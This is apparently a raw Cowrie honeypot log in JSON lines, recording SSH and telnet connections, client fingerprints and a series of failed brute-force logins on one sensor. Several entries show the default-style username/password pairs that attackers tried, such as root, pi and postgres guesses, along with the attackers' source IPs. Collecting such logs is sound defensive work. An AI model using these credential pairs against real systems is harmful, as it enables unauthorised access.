{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:34.732101Z","src_ip":"97.74.87.152","session":"91510fe082ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":51206,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ef3b9e9222","protocol":"ssh","message":"New connection: 77.94.47.83:51206 (10.17.0.5:22) [session: 14ef3b9e9222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:34.991313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:34.995316Z","src_ip":"77.94.47.83","session":"14ef3b9e9222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:35.104772Z","src_ip":"77.94.47.83","session":"14ef3b9e9222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231292","message":"login attempt [root/231292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:35.585633Z","src_ip":"77.94.47.83","session":"14ef3b9e9222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"god","password":"god","message":"login attempt [god/god] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:35.724281Z","src_ip":"97.74.87.152","session":"91510fe082ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:35.922546Z","src_ip":"91.92.40.36","session":"97b3a57c2a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:36.699143Z","src_ip":"77.94.47.83","session":"14ef3b9e9222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:36.973344Z","src_ip":"97.74.87.152","session":"91510fe082ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.38512873649597,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:39.484235Z","src_ip":"172.81.62.90","session":"97e6f51caba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51350,"dst_ip":"10.17.0.5","dst_port":22,"session":"2608c560c125","protocol":"ssh","message":"New connection: 91.92.40.36:51350 (10.17.0.5:22) [session: 2608c560c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:40.741575Z"}
{"eventid":"cowrie.session.closed","duration":43.431835889816284,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:42.537404Z","src_ip":"172.81.62.90","session":"0e9607368f70","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:42.759183Z","src_ip":"91.92.40.36","session":"2608c560c125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:42.762779Z","src_ip":"91.92.40.36","session":"2608c560c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20668,"dst_ip":"10.17.0.5","dst_port":22,"session":"44103850263e","protocol":"ssh","message":"New connection: 91.92.40.36:20668 (10.17.0.5:22) [session: 44103850263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:46.019298Z"}
{"eventid":"cowrie.session.closed","duration":49.16172909736633,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:46.112865Z","src_ip":"128.199.8.54","session":"d6ba142c7039","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:46.391347Z","src_ip":"91.92.40.36","session":"44103850263e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:46.394916Z","src_ip":"91.92.40.36","session":"44103850263e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:48.454944Z","src_ip":"91.92.40.36","session":"44103850263e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":39890,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2786a8aeca7","protocol":"ssh","message":"New connection: 201.17.146.173:39890 (159.203.135.109:22) [session: e2786a8aeca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:49.505974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:49.510457Z","src_ip":"201.17.146.173","session":"e2786a8aeca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"log","password":"log","message":"login attempt [log/log] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:49.575115Z","src_ip":"91.92.40.36","session":"2608c560c125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:49.585312Z","src_ip":"91.92.40.36","session":"44103850263e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:49.659905Z","src_ip":"201.17.146.173","session":"e2786a8aeca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root_root","message":"login attempt [root/root_root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:50.288000Z","src_ip":"201.17.146.173","session":"e2786a8aeca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:51.440720Z","src_ip":"201.17.146.173","session":"e2786a8aeca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:52.023741Z","src_ip":"91.92.40.36","session":"2608c560c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20670,"dst_ip":"10.17.0.5","dst_port":22,"session":"19eba6fcaea0","protocol":"ssh","message":"New connection: 91.92.40.36:20670 (10.17.0.5:22) [session: 19eba6fcaea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:55.372276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:55.775610Z","src_ip":"91.92.40.36","session":"19eba6fcaea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ff41a8b63b","protocol":"ssh","message":"New connection: 160.187.180.146:40622 (159.203.135.109:22) [session: d3ff41a8b63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:56.441729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:56.447961Z","src_ip":"160.187.180.146","session":"d3ff41a8b63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:56.654818Z","src_ip":"91.92.40.36","session":"19eba6fcaea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:56.659390Z","src_ip":"160.187.180.146","session":"d3ff41a8b63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuck0ff","message":"login attempt [root/fuck0ff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:57.524611Z","src_ip":"160.187.180.146","session":"d3ff41a8b63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:07:58.736358Z","src_ip":"160.187.180.146","session":"d3ff41a8b63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31276,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8325450370","protocol":"ssh","message":"New connection: 91.92.40.36:31276 (10.17.0.5:22) [session: 3f8325450370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:01.518000Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:01.528040Z","src_ip":"91.92.40.36","session":"19eba6fcaea0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:01.831774Z","src_ip":"91.92.40.36","session":"3f8325450370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:01.835343Z","src_ip":"91.92.40.36","session":"3f8325450370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:03.885205Z","src_ip":"91.92.40.36","session":"3f8325450370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:04.122587Z","src_ip":"91.92.40.36","session":"19eba6fcaea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:05.365994Z","src_ip":"91.92.40.36","session":"3f8325450370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.89819550514221,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:08.638805Z","src_ip":"128.199.8.54","session":"3cc1fc83ad19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43260,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4ac94c3a95","protocol":"ssh","message":"New connection: 91.92.40.36:43260 (10.17.0.5:22) [session: 7b4ac94c3a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:10.348872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:11.009497Z","src_ip":"91.92.40.36","session":"7b4ac94c3a95","protocol":"ssh"}
